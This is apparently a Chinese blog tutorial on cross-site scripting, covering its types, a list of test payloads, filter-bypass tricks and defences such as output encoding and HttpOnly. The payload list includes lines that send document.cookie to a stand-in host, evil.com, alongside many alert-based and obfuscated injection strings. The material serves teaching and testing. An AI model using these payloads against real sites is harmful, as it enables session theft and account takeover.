XSS漏洞(跨站脚本攻击)

1.原理

​ 跨站脚本是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。是由于Web应用程序对用户的输入过滤不足又将输入输出到页面中导致。它允许恶意用户将代码注入网页,其他用户在浏览网页时就会收到影响。

2.分类

  • 反射型

    反射型XSS也被称为非持久型XSS,是现在最容易出现的一种XSS漏洞。当用户访问一个带有XSS代码的URL请求时,服务器端接收到数据后处理,然后把带有XSS代码的数据发送到浏览器,浏览器解析这段带有XSS代码的数据后,最终造成XSS漏洞。

  • 存储型

    存储型XSS又被称为持久型XSS,存储型XSS是最危险的一种跨站脚本。当攻击者提交一段XSS代码后,被服务器端接收并存储,当攻击者再次访问某个页面时,这段XSS代码被程序读出来响应给浏览器,造成XSS跨站攻击。

  • DOM型

    DOM即文档对象模型,DOM通常用于代表在HTML、XHTM和XML中的对象。使用DOM可以允许程序和脚本动态地访问和更新文档的内容。所以DOM型XSS是不需要服务器端交互的,它只是发生在客户端处理数据阶段。

3.检测语法

<script>alert(1);</script>

<script src="http://www.evil.com/cookie.php"></script>

<script>location.href="http://www.evil.com/cookie.php?cookie="+escape(document.cookie)</script>

<src<script>ipt>alert('xss');</scr</script>ipt>

<script>alert(String.fromCharCode(88,83,83))</script>

<img src=foo.png onerror=alert(/xss/) />

<style>@im\port'\ja\vasc\ript:alert(\"XSS"\);</style>

<marquee><script>alert('xss')</script></marquee>

<IMG SRC=\"jaV&#x09;;ascript:alert('XSS');\">

"><script>alert(0)</script>

" onfocus=alert(document.domain)"><"

<body onLoad="while(true) alert('XSS'); ">

"></iframe><script>alert(111)</script>

<div style="background:url('javascript:alert(1)')">

<img src='javascript:alert("xss")'>

4.绕过

  • 利用<>标记注射html/javascript

    如果网站没有对<>进行过滤,那么用户可执行的恶意脚本可就太多了<script>alert(111)</script>

  • 利用Html标签属性值执行XSS

    很多HTML标记中的属性都支持javascript:[code]伪协议的形式,这个语法声明了URL的主题是任意的javascript代码。

  • 空格回车Tab

    如果只对关键字进行过滤,那么用户还可以利用空格、回车、Tab进行绕过<img src="java script:alert(/xss/)" width=100>

  • 对标签属性值进行转码

    还可以通过编码处理来绕过,HTML中的属性值本身支持ASCII码形式

    <img src="javascript:alert('xss');"> 编码后<img src="javascrip$#116&#58alert(/xss/);">

  • 产生自己的事件

    如果不能依靠属性值进行跨站,那么可以利用事件,比如click、mouseover、load等,而响应事件的函数就叫做事件处理函数

    <input type="button" value="click me" onclick="alert('click me')" />

  • 利用CSS跨站

    XSS脚本的另一个载体是CSS样式表,使用CSS样式表执行javascript具有隐蔽性、灵活多变

    <div style="background-image:url(javascript:alert('xss'))">
    <style>
    	body {background-image:url("javascript:alert('xss')");}
    </style>
    
  • 扰乱过滤规则

    <img src="javascript:alert(0);">
    
    # 转换大小写
    <IMG SRC="javascript:alert(0);">
    
    # 大小写混写
    <iMg sRC="jaVasCript:alert(0);">
    
    # 单引号替换双引号
    <img src='javascript:alert(0);'>
    
    # 不使用引号
    <img src=javascript:alert(0);>
    

5.防御

# 输入过滤
输入过滤的所有数据都必须经过XSS Filter处理,被确认安全后才存入数据库中。
输入验证:对用户提交的信息进行有效验证,仅接收指定长度范围内的,采用适当格式的内容提交,阻止或者忽略除此之外的任何数据。
数据消毒:对与常见的敏感字符,还需要进行过滤,如< > ' " & # javascript expression 

# 输出编码
在数据输出之前先对敏感字符进行转义,这是一个安全的方法,能够有效保持数据完整性。
HTML编码在防止XSS攻击上起到了很大的作用。

# HttpOnly
无法通过js脚本读取到cookie信息
显示实体名字实体编码
<&lt ;&#60 ;
>&gt ;&#62 ;
&&amp ;&#38 ;
"&quot ;&#34 ;
  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值